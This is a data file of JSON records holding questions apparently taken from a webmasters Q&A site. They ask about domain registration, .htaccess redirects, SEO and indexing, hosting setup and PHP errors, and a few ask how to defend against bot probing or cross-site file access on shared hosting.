{"id":"44685","title":"Registering a domain directly at nic.sm?","text":"I am an individual and would like to register a \".sm\" domain. Nic.sm provides forms for individuals to send them by fax or mail and information for payment is also available. The cheapest reseller that I found wants 135 EUR per year, whereas the cost at nic.sm is only 50 EUR a year. EDIT: The lengthy rules at nic.sm mention that they deal only with authorized resellers themselves. However, nic.sm links to Telecom Italia San Marino as an authorized reseller (at the top of the link list, in bold). Telecom Italia seems to follow the exact same procedures as nic.sm (the difference being that you send the forms to them instead of nic.sm). So the question remains: does Telecom Italia San Marino deal with private individuals directly? I wrote them an email some days ago with no reply."}
{"id":"30862","title":"Why am I getting messages from cloudfront in my error log?","text":"I frequently have messages like this in my websites error log: \"Script error.\". URL: https:\/\/e3m4drct5m1ays.cloudfront.net\/items\/loaders \/loader_21.js?pid=21&systemid=13504281c5a501837196c23300f84e66&aoi=1327214632& zoneid=16620&cid=HK&rid=Hong%20Kong%20(general)&ccid=Kowloon&dma=0. Line number: 0 Error name: Stack: Now I don't actually know what cloudfront is or what it does. And I do not refer to this script in my site. So why would I be getting js error logged as if it was a script being run on my own site? This is using elmah logging."}
{"id":"65643","title":"Redirect all paginated pages to their main category page","text":"I want to redirect all the paginated pages of the category pages to their respective category pages, because I don't want google to crawl the paginated pages. If my paginated category page URL is: http:\/\/example.com\/category\/cat-name\/page\/4\/ I want to redirect to: http:\/\/example.com\/category\/cat-name\/ This case can be anything from different page numbers to different category names. How can I achieve that using `.htaccess`? I'm running a WordPress site and already there are several redirects active: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^[0-9]+\/([^\/]+\/[^\/]+\/?)$ \/$1 [L,R=301,NE] RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress ## EDIT First of all, some of my .htaccess rules are based on this StackOverflow Q&A. Because I need 'em to be there. So, after your comments, I got the point. With such a redirection in action my paginated pages won't be accessed ever, even after a hard-coded URL. Yes, that'd be a mess. Actually, you know WordPress category pages are auto generated with the number of posts. Suppose, in \"Astronomy\" category I got 32 posts and in each page I'm showing 10, then there would be 4 pages (10+10+10+2). Eventually I deleted two of the posts or recategorized them to another category. So the fourth page become orphan. Google crawls and got a 404. It's a continuous process and looking for such 404 hits is a critical matter for me. So I's looking for a solution. What can I do for such problem?"}
{"id":"65640","title":"Can I create CSR for Symantec EV SSL from another machine?","text":"Given the additional checks to validate the organisation for the EV certificates, must the CSRs be created from the actual production web servers? In my capacity as a contractor, I thought I would use my standard VM with IIS 7.5 and create CSRs with the right details (CN, O, OU, L, S, C), complete the request and export a password-protected PFX file including private key. The actual production environment has web servers behind a load balancer, so the certificate (PFX) will be imported into each. Does this approach work?"}
{"id":"61523","title":"Stop other sites on server from being able to access other sites on server","text":"I am on a friends server and I have found a potential security flaw where I can access other sites files on the server. He says he is on a shared hosting and I am not sure yet if the other sites are his or not, he has to get back to me on that. In the meantime though I was wondering how do sites like godaddy deal with this issue? Do they put each account on the server into a sort of virtual server so you can access your other sites on your account but can not access sites on other accounts? It might be the case that his server is working properly and all the sites I can access are his sites anyway since they are under his account. If they are all his sites then how can he prevent other sites from accessing other sites since some of them are for other peoples sites he manages for them."}
{"id":"59042","title":"Are there any reasons to put the domain name or company name in the page's title tag?","text":"After I read this question and answer about SEO and title, I want to ask if it is necessary to put the company name or the domain name into the title. On the start page I think it is necessary, like Stack Exchange is doing it www.stackoverflow => Stack Overflow webmasters.stackexchange.com => Webmasters Stack Exchange But what about other pages on this site? I see that this structure is used on this site, and across the StackExchange network `<something> \\- Webmasters Stack Exchange`. Does this have any relevance for SEO?"}
{"id":"30863","title":"Avoid the login popup when using http-auth","text":"I have an Apache. Under the DOCUMENTROOT is a folder with an .htpasswd file for http-auth. If I open the browser and request the content in the folder I get an Popup to login. Is there a way to avoid the popup? I have tried to add the user and the password in the url: http:\/\/user:passwd@domain.com\/geheim Unfortunately this doesn't work with every browser. Is there a workaround? Thanks"}
{"id":"56041","title":"How to redirect on a very limiting hosting service","text":"I need to create some new content which is the user getting their request routed to another site w\/o them needing to know the ugly final URL. The user URL needs to be the simple easy to recall string, for example, `example.com\/snappy`. So, I need to have a URL such as `http:\/\/example.com\/snappy` redirect to something like `https:\/\/example.org\/64g9sd3k96bhse38gmjdute.html`. If I were to use the technique I have used in the past I would create `\/snappy\/index.html` on the `example.com` system: <meta HTTP-EQUIV=\"REFRESH\" content=\"0; url=https:\/\/example.org\/64g9sd3k96bhse38gmjdute.html\"> In this case though, I have a new situation where my `example.com` is hosted on `cloversites.com` which has \"Websites made for people not programmers.\" They have such a canned system that the `index.html` cannot be created with the `meta` tag. I do have servers that can host web pages. I cannot move the existing `cloversites.com` content at this time. I am looking for an out-of-the-box solution until all of the existing content can be moved in house."}
{"id":"56046","title":"I have removed some pages from the Google index using webmaster tools but it still shows up in the search results","text":"I have removed some pages from the Google index using webmaster tools but it still shows up in the search results. So you have any idea what would be the problem? You can see the screenshots below  "}
{"id":"43999","title":"Why there is an image that says this page is not available on all my blogger posts?","text":"I have my blog for the last couple of years, but it is the first time that I see something like this: When I am in the main page, each of the posts have a message on top of them that says that the webpage is not available(see image at the bottom of this post). I don't know why is this happening at all. Ill appreciate your help. Any ideas?  **update:** Update: I noticed that this doesn't happen in all of the posts, looks like just in the first 2 posts. I don't understand."}
{"id":"25430","title":"Google Site Search: Is it possible to extract labels from single pages?","text":"if using Google Site Search (GSS) you can specify labels for different sites, so users can later refine their search with facets generated from these labels. This works fine if you can label pages according to different domains or distinct URL patterns (e.g. path segments that clearly mark different areas of your website). However, is there a way you can make Google extract the labels from an individual page itself, for example by providing some kind of meta information or structured content in the HTML source?"}
{"id":"36235","title":"Weird URLs being access by Googlebot","text":"Lately I've been seing all sorts of strange URLs show up as errors in my Webmaster tools account, but they're URLs that don't actually exist on my site, nor are linked from the pages that Google claims they're linked from. URL Response Code Detected yR3kna\/5RfA4+ndtn\/X4zcevudMlXbqbIrnPbH9irw= 404 9\/16\/12 OK4iaOVdr6Ocjmz+u1kuR5Q486mhDo\/e45nwjl2+y8= 404 9\/9\/12 pxGz\/oHEA0BS8U3VFBzJcZnnIHMsFXb3\/rIxMxh2ws= 404 9\/16\/12 Af8tbvQ0HniIpf53I8Txz1hM1\/JxxrFQxgqPuErWII= 404 9\/9\/12 7Bk7c0LDmm4PHyTjml017EGwNNPCn\/p\/0xMSWWPDic= 404 9\/16\/12 umCwnDvTE8ybpUB19MIb+VRj5xRJncyYGGfAQ2Mxn0= 404 9\/1\/12 # etc... Do you know how to make these stop? It's not at all clear to me why it would be going to these URLs in the first place."}
{"id":"25126","title":"Spambots looking for phpmyadmin and more","text":"I inherited a couple of sites that send the webmaster an email with each 404 error. I get a smattering of errors each day, but there are times when I'll get dozens, even hundreds, of errors from these sites in just a couple of minutes. Given what they're looking for (directories like phpmyadmin, wp- admin, register, admin, etc. and files like setup.php, register.php, admin.php, etc.) it's obviously a spambot trying to get access to the site. Is there a way to prevent them from even looking at the site? Should I set up a honeypot that provides some bogus info or something? And how do I accomplish this? I'm guessing that other sites (maybe all?) that I manage are being \"attacked\" in the same way, but I don't have a script that reports those errors in the same way so the squeaky wheel is getting my attention."}
{"id":"43994","title":"Why are some Shared Web Hosting configuration changes delayed?","text":"I have used several shared web hosting packages over the years, however, more recently I have encountered _issues_ that have me questioning the purpose of delays in configuration changes. The web host in question is 1&1, which applies config changes with a delay. **The question** \/\/ _What_ is the benefit of delaying configuration changes? **Update** additional question \/\/ Why would some changes take the specified time ( _e.g. 10 minutes_ ), and sometimes several hours? * * * **The story** \/\/ The most recent incident was caused using the 1&1's WebsiteBuilder by a tech to create a temporary page. After this, the finalized site (html\/js\/css\/etc.) was placed on the server through FTP. The following events occurred after: 1. Removed the domain from the _selection_ was applied immediately ( _i.e. selected -none-_ ). 2. Changed the domain destination folder, which were delayed a few minutes. * Skip a few hours 3. Another tech _attempted_ some changes through the WebsiteBuilder. * This change forced the Control Panel to copy the existing site files to a different folder. * The change was applied immediately. 4. My **mistake** here was removing the newly created folder, and reapplying the domain destination folder. * This change did **not** take effect immediately; in fact, it took _several hours_. * The last tech kept attempting to _fix_ the site by making changes on the Control Panel. Due to the configuration effect delays on step 4, the tech kept making changes ( _presumably adding more changes to the configuration queue, I'm guessing_ ). Finally, all of these changes threw the site into a cycle of failed access, directory listing denied, 404's, etc."}
{"id":"47867","title":"Google references subfolders","text":"Last week I launched a website and created a `robots.txt`: User-agent: * Disallow: Sitemap: http:\/\/mywebsite.tld\/sitemap_robots.xml Now I've checked the indexed pages (`Google -> site:mywebsite.tld`) and found links to subfolders and non-public\/internal files, that are place outside of the web root of the website. E.g.: `mywebsite.tld\/vendor\/`, `mywebsite.tld\/module\/`, `mywebsite.tld`, `mywebsite.tld\/dev\/`, `mywebsite.tld\/vendor\/zendframework\/zendframework\/tests\/ZendTest\/Test\/PHPUnit` etc. Why are such folders being indexed? Why is it possible, if they are placed outside of the website root and there are not links to them? How to avoid indexing of such paths? * * * EDIT The folder structure of my website is: \/composer.json \/composer.lock \/composer.phar \/config\/ \/data\/ \/dev\/ \/init_autoloader.php \/LICENSE.txt \/module\/ \/public\/ <-- web root \/README.md \/temp\/ \/vendor\/ It's a common structure of a Zend Framework 2 project (with some additional folders). The document root is the folder `public` (set in Plesk): "}
{"id":"64808","title":"How can I use google analytics to tell me how many people come from another, specific, site?","text":"I am super new to GA, like I didn't even install it, just inherited it, and I'm trying to figure out how to tell if visits are being referred\/just happen to be coming from a specific website. I want to find how many people come from one site to my site. Any help would be appreciated."}
{"id":"43744","title":"Are there any shared webhosts that offer Gmail or Google Apps as part of their package?","text":"I see that Dreamhost is doing something like this but i am not clear how much extra it would cost me. Any other hosts?"}
{"id":"32559","title":"Will Search Engines crawl my Github gists?","text":"I have been using Alex Gorbatchev's Syntax Highlighter in my blog for the past couple of years. It serves the purpose, but it is a pain to add the code while blogging (I need to use a HTML Encoder and manually add this piece wrapped around a `<pre>` tag. But, the positive thing is, I know for sure the search engine will crawl the code I have written. Recently I stumbled upon Github Gist and it was really easy to just copy paste, selected the language and embed in my website. However, the question I have here is, will the Search Engine crawl the code inside my gist making sure that it lands on my page?"}
{"id":"2458","title":"How difficult is an unmanaged VPS?","text":"I have some sites hosted on a shared-hosting\/cpanel environment and need to make a move up. I have some experience running my own server, but it is very basic (a local box to do live testing\/file serv). My question is how difficult is it to run a VPS, should I buy a managed VPS (with stuff already installed), or unmanaged (blank box), and lastly if I go for unmanaged what steps should I take to keep my VPS secure? Edit: Also how difficult is it to backup files and databases? Can it be automated? Thanks"}
{"id":"24511","title":"fullscreen video background script","text":"I'm looking for a script or a tutorial that allows me to stream for example a youtube video in fullscreen, but not flash because I want it to work on mobile devices too."}
{"id":"25522","title":"Redirecting all subfolder url's to another domain","text":"I have a domain that is domain.com\/portfolio\/some-url I would simply like to direct all traffic that would normally go to the subfolder \/portfolio to a new domain: new-domain.com\/ How would I do this? Htaccess? Is there a way to do it to separate affiliation? Basically, all the \/portfolio items are affiliate links that I don't need anymore and don't want the possibility of it decreasing my site rank in Google. What type of redirect should I use?"}
{"id":"61831","title":"Low Bounce rate - too good to be true?","text":"Found a website with 4% bounce rate over a 5 month period, getting a little over a 1000 visits a week with most visitors coming from organic search results. Is that even possible? I never seen a bounce rate so low. The website itself has just an image, horizontal nav (6 items) and a introduction paragraph with a bullet list on the home page. 60% of the visitors land on the home page. What could cause such low bounce rate? (not that's a bad thing)."}
{"id":"63483","title":"How to remove a page from site without affecting google serp","text":"I have a travel website. Just for information purposes, I had put a weather page. Now I realize that this page is increasing my overall bounce rate; because people who are looking for the weather forecast are landing on that page and getting what they want and exiting. What is the safest method to get rid of that page? Would it hurt my google rank if I remove it completely? Or is there a better way to handle this situation? I realize that around 21 percent of my daily hits are on that page. I would have been happy if my aim was to provide weather data for the location; however, my site needs to focus on selling hotels. So I think I need to get rid of this weather page immediately. What do you think?"}
{"id":"16803","title":"Stylesheet switches increase loadtime?","text":"I am using stylesheet switcher which uses a number of alternate stylesheets for the media=\"screen\" and switches to those styles when instructed by the user. But in the web page I have to use several http requests to link so many style sheets which increases the loadtime. Is there anyway I can modify the code to load fast? How combining works I don't know since all style sheets are different."}
{"id":"65577","title":"How does Bing know when a result is clicked to use in website ranking?","text":"I know that Google uses redirect links to count clicks ie: https:\/\/www.google.com\/url?q=http:\/\/html5test.com\/&sa=U&ei=xlezU6DPIsqysQS824HwAg&ved=0CB0QFjAB&usg=AFQjCNEMhjMTe0TBrbgGmG6mlSygIF-mww but Bing doesn't do this it instead gives you the actual link to the page. This page explaining Bings algorithm says it takes CTR into account"}
{"id":"61839","title":"Mod_Rewrite Error code: ERR_TOO_MANY_REDIRECTS","text":"I know alot people have post about this error , however i still unable to solve it.So that is the reason why i start a new post with it. As stated in the title , i encounter a redirect loop when accessing my pages in the website. Here is my rewrite config. RewriteCond %{HTTP_REFERER} ^http:\/\/example\\.com\/test\/store\\.do [NC] RewriteRule (.*)$ \/test\/$1 [R] So , how do I solve this redirect error? Here is the log file [Fri May 16 12:18:20.345204 2014] [rewrite:trace3] [pid 29462:tid 1193511232] mod_rewrite.c(475): [client 172.16.28.96:60187] 172.16.28.96 - - [example.com\/sid#1e84d1c0][rid#1e954910\/initial] applying pattern '(.*)$' to uri '\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/ \/store.do', referer: http:\/\/example.com\/test\/store.do [Fri May 16 12:18:20.345213 2014] [rewrite:trace4] [pid 29462:tid 1193511232] mod_rewrite.c(475): [client 172.16.28.96:60187] 172.16.28.96 - - [example.com\/sid#1e84d1c0][rid#1e954910\/initial] RewriteCond: input='http:\/\/example.com\/test\/store.do' pattern='^http:\/\/example\\\\.com\/test\/store\\\\.do' [NC] => matched, referer: http:\/\/example.com\/test\/store.do [Fri May 16 12:18:20.345218 2014] [rewrite:trace2] [pid 29462:tid 1193511232] mod_rewrite.c(475): [client 172.16.28.96:60187] 172.16.28.96 - - [example.com\/sid#1e84d1c0][rid#1e954910\/initial] rewrite '\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/whatshot_v3\/hahah\/store.do' -> '\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/store.do', referer: http:\/\/example.com\/test\/store.do [Fri May 16 12:18:20.345233 2014] [rewrite:trace2] [pid 29462:tid 1193511232] mod_rewrite.c(475): [client 172.16.28.96:60187] 172.16.28.96 - - [example.com\/sid#1e84d1c0][rid#1e954910\/initial] explicitly forcing redirect with http:\/\/example.com\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/ \/store.do, referer: http:\/\/example.com\/test\/store.do [Fri May 16 12:18:20.345239 2014] [rewrite:trace1] [pid 29462:tid 1193511232] mod_rewrite.c(475): [client 172.16.28.96:60187] 172.16.28.96 - - [example.com\/sid#1e84d1c0][rid#1e954910\/initial] escaping http:\/\/example.com\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/store.do for redirect, referer: http:\/\/example.com\/test\/store.do [Fri May 16 12:18:20.345245 2014] [rewrite:trace1] [pid 29462:tid 1193511232] mod_rewrite.c(475): [client 172.16.28.96:60187] 172.16.28.96 - - [example.com\/sid#1e84d1c0][rid#1e954910\/initial] redirect to http:\/\/example.com\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/test\/\/store\/store.do [REDIRECT\/302], referer: http:\/\/example.com\/test\/store.do Thanks. Hi all, I have found the solution for my problem. RewriteCond %{HTTP_REFERER} ^http:\/\/example.com\/test\/store.do [NC] RewriteRule ^\/test - [R,L] #prevent for any URL to be place under \/test.Thus , prevent looping. RewriteCond %{HTTP_REFERER} ^http:\/\/example.com\/test\/store.do [NC] RewriteRule ^\/(.*)$ \/test\/$1 [R,L] Thanks everyone."}
{"id":"16805","title":"Restrict access to directories hosting different sites","text":"My hosting provider requires that my primary domain (let's call it `example.com`) points to my public_html root. I also own several other domains (let's call them `exampleA.com` and `exampleB.com`) that are hosted in sub- directories such that they can be accessed via `http:\/\/example.com\/exampleA\/` and `http:\/\/example.com\/exampleB\/` I would like to restrict people from accessing these secondary sites in this way. Ideally, there will be no indication that the secondary sites are in any way related to the primary domain. How do I do this? Modify the `.htaccess` file?"}
{"id":"24836","title":"Joomla Backend running slow on localhost","text":"I made a local backup of my Joomla site a few months ago to test changes before updating the live site. Everything worked fine. Today I checked the local version after a while but when I open access the administration panel via `sitename.com\/administrator` it takes a while until the site is loaded. I tried out different things and accidentally disconnected my Network Connection. After that everything loads as fast as before. But when I connect the Network Connection the problem reappears. I am running Joomla 1.5.14 on XAMPP 1.7.0."}
{"id":"48125","title":"http:\/\/www.mysite.com\/c\/v to display different domain:http:\/\/www.myothersite.com\/c\/v","text":"My site is written in asp.net using C#\/MVC 4.5, and is hosted on Windows Server 2008, IIS7. # It has the following route `https:\/\/mysite.com\/c\/v`. When the user types in `https:\/\/www.myothersite\/c\/v`, I want it to redirect\/route to `https:\/\/mysite.com\/c\/v`, however, I want the route in the client's browser to display `https:\/\/www.myothersite\/c\/v`. We obviously own both domain names, and, we own the web server that hosts `www.mysite.com`, and define the bind to `www.myothersite` will be on the same web server. Is this possible?"}
{"id":"12136","title":"I have a question about Windows Azure compute pricing and perhaps other compute pricing methods as well","text":"I've just started to test the Windows Azure webrole in a staging environment and selected the 'small' instance. The pricing is .12\\hour. If it's enabled (even in staging) does that mean I'm charged every hour it's enabled where there is any computing costs or not? So, for example, if no one visits the website from midnight to 5am CST, would I be charged those 5 hours? 60 cents doesn't mean much but over the course of a year it's $219. I can get an entire year of hosting a small website at discountasp.net for under that. I'm actually thinking that MS would charge it based on seconds where computing is happening and charge by an hour after that but not sure. If not, I don't see why anyone would put a website on Azure of other discounted hosting providers. If anyone has a link showing the caculator for computing costs, please let me know."}
{"id":"57314","title":"How to use a domain name for a different existing website","text":"I have a website, but I want to change the domain name to be used instead by another of my websites which is hosted somewhere else. How can I do that? For example, I have www.example.com it is about cats. Now I have made a website about dogs, and it is hosted somewhere else. I want to use www.example.com for that dog website. How can I do that?"}
{"id":"10156","title":"Better ways to have valuable data indexed, which is ignored currently","text":"<a title=\"\">...\/a> Hi folks. It seems that my _title tag_ which holds extremely valuable and describes contents on my simple design page is currently compeltely denied by search engines and not indexed at all!! Those descriptions should however be indexed as the describe valuable portions to an otherwise empty page with clean glossary (thats neat and organised to the eye of the viewer. So putting all that descriptive data into visible space would ruin the designish less is more fundamental... So, which alternatives to the `title` tag do I have, in order to put important contents that are relevant for both user as well as search engines? A <a name=\"\">......<\/> B <p name=\"\">......<\/> C <a alt=\"\">.......<\/> D <p alt=\"\">.......<\/> From the above list, arose my question: > Which of the above is advisable alternative in order to get the valuable > actual content indexed? Should it be in a a tag or p tag? Or are there even better tags for this which still keep layout clean? You suggestions are Much appreciated!"}
{"id":"57310","title":"How to change Apache server to IIS server and MS SQL server database?","text":"I have a domain with Apache server. I have the FTP logins. I want to change it to IIS server and MS SQL server database. How to convert it and who will do this?"}
{"id":"7336","title":"Using XML in a Flex Website to Improve SEO","text":"I've got a Flex 3 site called www.brainpinata.com that's a trivia game. Basically, everything in the site is pulled from a database-- the questions, choices, and answers. So, unfortunately, Google doesn't index my content. So, I'm trying to think of ways to improve the situation: * If I took my database data and put it in an XML file which was in the website's root directory, would this work? Would it violate any Google policy? (The info would be the same as in the db-- so nothing shady.) Would I have to \"wire\" the XML into my site or would it be enough to just have the XML sitting in the root directory? * Another idea is to use the noscript tag and load the XML content there. As I understand it Google indexes content that people who have Javascript turned off would see. I know Flex\/Actionscript 3, and unfortunately, I don't know how to load XML content with HTML. Does anyone know of an example where a Flex site uses XML for the noscript content?"}
{"id":"67489","title":"Is it a good idea to schema UserComments to latest comments in the sidebar?","text":"So, I want to structure the most important parts of the site. I have main page, where there is a grid\/wall of thumbnails. On the side, there is latest comments. Is it a good idea to structure them as UserComments. Or will the engines think, that those are the comments for that page?"}
{"id":"60043","title":"Edit, Add, and Delete in Orchard CMS","text":"In the few CMS systems I have played around, a central feature is a list of content items, maybe filtered, but normally such a screen has links to add, edit, or delete an item. When I create a standard Projection in Orchard, I fell very constrained by it's workflow for that, and then I feel plain frustrated that there is apparently no way to place an Add link on the projection, and neither to place edit or delete links on each line in the list. Just BTW, another frustration here is I can find no way to show the owner of a content item in the projection. Most CMS systems also have at least an edit button when viewing a content item if you are the ownder of that item. I have no problem placing an Edit link in the content, but then I must always manually find out the URL of the content item, and how to construct a hyperlink that opens an editor for that item."}
{"id":"63470","title":"display Google display ads to visitors who have visited certain web sties","text":"For Google Adwords re-marketing, display ads are shown to visitors have been to your site previously. So when the go to a web site displaying adsense, it is likely that re-marketing ad will be displayed to them. Is there a way to do the same for if a visitor has visited a competitors site. i.e. if a visitor goes to one of my competitor sites, I want the display ads they see, to be mine. Is that possible?"}
{"id":"5496","title":"How do I replace the Magento favicon?","text":"I'm trying to replace the Magento favicon, but I can't seem to find it. Where is it?"}
{"id":"14897","title":"Where can I get photoshop images like this for my website","text":"I see a lot of websites like this one and I wanted to see where people get these images from to have the raised panel floating on the background. I see a lot of these sites use this technique and i wonder how they do this . .  Do these sites build this stuff in photoshop from scratch or is there a place to get templates like this to use on a website?"}
{"id":"14894","title":"Sessions suddenly not working in PHP, and error log contains a lot of junk now","text":"So I was developing my PHP application, right? And then all of a sudden, my sessions wont work anymore! So I checked my error log, and here is what it told me (a few times) > PHP Startup: Unable to load dynamic library > '\/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20060613\/imagick.so' - > \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20060613\/imagick.so: cannot > open shared object file: No such file or directory in Unknown Whats going on? I have a regular webhost with access to cPanel. This just happend all of a sudden, and I have no clue of what to do. Help appreciated. :)"}
{"id":"18845","title":"Creating a form that posts to Twitter - how to get started?","text":"I'm trying to figure out how to create an HTML form that would allow a user to log in and tweet their message directly to Twitter. What resources should I look at to get started?"}
{"id":"62879","title":"Would the following URLs result in duplicate content if I only used one canonical link?","text":"In your experience, have you ever had problems with duplicate content being caused by the following URLs: 1. `www.mysite.net` 2. `www.mysite.net\/` 3. `www.mysite.net\/index.html` Do you think that this could result in a duplicate content issue if my canonical link is constantly pointing to only this: `www.mysite.net`"}
{"id":"48313","title":"Google Webmaster Tools reports fake 404 errors","text":"I have a website where Google Webmaster Tools reports 15,000 links as 404 errors. However, all links return a 200 when I visit them. The problem is, that eventhough I can visit these pages and return a 200, all those 15,000 pages won't index in Google. They aren't appearing in search results. These are constant errors Google Webmaster Tools keeps reporting and I'm not sure what the problem is. We've thought of a DNS issue, but it shouldn't be a DNS issue, because if it were, no page would be indexed (I have 10,000 perfectly indexed). Regarding URL parameters, my pages do not share a similarity in URL parameters that can make it obvious to me what could be causing the error."}
{"id":"48319","title":"Set nameserver in WHM with VPS that has no domain name?","text":"I have a new VPS I want to use to manage sites on. I need to set up nameservers so that I can point the domain names to the new servers. I know nameservers usually look like `ns1.example.com` where `example.com` is the domain name of the VPS, but my VPS does not have a domain name, I just access it via the servers IP. Is it OK to use a domain name of one of the sites I am trying to set up instead?"}
{"id":"45278","title":"Organizing main page with detailed content","text":"I need to develop a structure like the one that appears in the following site: http:\/\/www.autoic2.com  * Clicking an image, showing the related content * Clicking in that new content, showing the details The possibility to have a backoffice would be the ideal. I'm searching since this morning, but until now, didn't found something usefull to help me with this situation. Any available script that you know, so i can modify or learn from it? All suggestions are welcome."}
{"id":"62876","title":"Make a particular section of a webpage appear on top webcache","text":"I would like to make a particular content of my webpage that appears at the bottom to appear on top on webcache of Google (text only version). eg: `http:\/\/salesforce.com` has a slider content that appears at the bottom on the webpage while the cached version of it `http:\/\/webcache.googleusercontent.com\/search?q=cache:http:\/\/www.salesforce.com\/&biw=1366&bih=633&strip=1` has the slider content appearing on top. I would like to do something similar for my webpage. Is it a script or a design practice that I need to follow?"}
{"id":"26964","title":"Google sitemap for dynamic url structure","text":"I am wondering what the best approach would be to generating a sitemap for google to crawl with a highly dynamic url structure. We have a webapp that assigns custom uris to all the users in our database for direct access to their content. All the uris are namespaced to one endpoint. The uris are chosen by the user who owns the profile and assume a human- readable form ('\/profile\/someguy') Would google require that all possible uris be documented in the sitemap? Wouldn't this lead to a ridiculously large xml file? It would be possible to periodically generate this using a script and break it up into smaller sitemaps if that is what's necessary. I have searched the webmaster docs for answers to this, but they largely only cover dynamic urls that use query strings, not ones that are generated in a readable format. Any guidance is much appreciated!"}
{"id":"26969","title":"Is it better to move unrelated content to another domain?","text":"I have an ecommerce site with an online community on a different subdomain. The community ranks for different keywords. If I would move the community to a different domain would that impact the SEO of the ecommerce site in any meaningful way?"}
{"id":"3223","title":"How can I see who is connecting to my websites on my server and possibly their IPs ?","text":"1) How can I know how many people is connected to the server in a specific moment (or previous hours of the day). (Even in real-time) 2) How can I know which one of the websites on my server they are visiting. (The websites are in different folders 3) How can I see their IPs ?"}
{"id":"49130","title":"Bringing a site back online (with about 3000 internal pages) after two years?","text":"I've had a site that I've had turned off for the last year or two, and I restored it from database and switched it back on recently. I've placed it on the same domain where it was, on a new server with all the content it used to have. It's a Q\/A answer style site (similar to StackExchange) so it had a lot of content and a lot of internal pages. The site used to get a significant amount of SEO traffic (about 80% of it's traffic used to come from organic), I'm wondering if Google is likely to put a red flag on my site since it may look strange that it's gone from being down to all of a sudden having ~3000 internal pages. Am I likely to get black-listed? Is there anything I can do to ensure that I don't and to ensure that I'm not penalized (and that hopefully my Google rankings are restored in as short a time-frame as possible to what they previously were)? Thanks in advance."}
{"id":"14090","title":"How to design a slogan","text":"Which tools and techniques do you use for designing slogans on website? I tried this one but I wasn't satisfied with it. There is little choice of usable designs and it is aliased in firefox (in chrome is was better). thank you"}
{"id":"49408","title":"Problem with Google crawler and cached results","text":"I have a client that has 3 domain names. For the sake of this argument I will call them `www.website1.com`, `www.website2.com` and `www.website3.com`. He used to have a website package with VistaPrint and `www.website1.com` was his main business website and website2 and website3 used to redirect to the main website. However recently I created a new WordPress website for him and now his main domain name is `www.website3.com` and website1 and website2 simply redirect to the main website. But when I go on Google and search for the domain name (any of the three) it does not show me the description of the website and it says: _A description for this result is not available because of this site's robots.txt – learn more._ I used to have a _robots.txt_ file but have deleted it since the migration to the client's host however Google seems to have indexed it in the meanwhile. I got in touch with the hosting company and they said that it is a virtual file and that it doesn't physically exist - and that the issue with the description in Google is happening because it has indexed the website while the _robots.txt_ was there. I want all references to website1 and website2 to vanish from Google and I only want it to index `www.website3.com`, which is the main business website - with the correct description of the site What are my options? I logged into Google Webmaster Tools and it still says that the file is there. I hope you understand what I want to achieve but feel free to ask for clarification Any advice will be greatly appreciated as I want to solve this issue ASAP before it starts damaging the client's online presence and reputation"}
{"id":"3237","title":"What WordPress plugins are \"must have\" for a site?","text":"I'm new to WordPress CMS and have just created a site+blog using it. What set of plug-ins do you recommend me to install? I believe there are some useful, proven and \"must have\" WordPress plug-ins for SEO, optimization of the site, social network and bookmarking services, spam prevention, etc. that you usually use in your projects. Thanks! PS The question I ask might look as subjective, but I believe there is a certain set of plug-ins which is useful for every WordPress project."}
{"id":"1619","title":"Track down segmentation faults in PHP?","text":"I'm looking for a relatively painless way to track down segmentation faults in PHP (as reported in the Apache error log). This is my LAMP setup at the moment: Linux: OpenSUSE 11.3 x86_64 Apache: 2.2.15-3.7 MySQL: 5.1.46-2.18 PHP: 5.3.2-1.31 The code in question is not my own, it is Gallery2: http:\/\/gallery.menalto.com A typical scenario is that I go to the gallery main page and none of the thumbnails appear but I get a new set of segmentation fault errors in the error log. Given the relative complexity of that software, it's not particularly suited to simple forms of debugging. I'd like to be able to step through the code and see exactly what is happening. \"Solutions\" I've seen so far for doing this have been pretty far from \"relatively painless.\" I've successfully used Gallery2 on this server (earlier versions of LAMP software packages) and on other servers, so I assume there is something defective in my current configuration, but without being able to see where the fault is occurring, I can't fix or work around it."}
{"id":"58192","title":"Site speed: less KB image vs. less HTTP request","text":"I have an interesting problem, I guess... First of all, I want to use sprites, to reduce the HTTP request on my site. That is because I know it's better for SEO and it makes the site faster, most of the time. The interesting thing, though, is that my sprite is bigger in size in comparison with if I use four separate background images. The sprite: 20kb vs. 10 kb if I use 4 separate images. **20 kb vs. 10kb = 1 request vs. 4 request**. What weighs more? P.S.: the background images are used because I want to distinguish the posted forum; so not essential, but I found it necessary. P.S. 2: I know it's better to use `<img>` tags with the `alt` attribute, but I haven no choice in this one, because it's conditional."}
{"id":"1612","title":"Simple future-proof, backwards-compatible way to play audio mp3 files in-place on the page?","text":"I have a site for a musician that includes music in `mp3` format, but these are played through a Flash file (xspfplayer). Of course, without Flash this is useless. Is there a better future-proof, and reasonably backwards-compatible way to include mp3 audio snippets on a page without forcing users to use Flash, and also not forcing them to download the mp3 first, or to leave the page entirely?"}
